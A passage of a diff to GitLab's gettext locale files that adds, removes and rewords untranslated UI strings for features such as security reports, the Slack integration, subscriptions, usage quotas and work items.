-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/az_AZ/gitlab.po b/locale/az_AZ/gitlab.po
index 5a292577b04..66473bd3c26 100644
--- a/locale/az_AZ/gitlab.po
+++ b/locale/az_AZ/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: az\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:42\n"
+"PO-Revision-Date: 2023-01-10 06:47\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
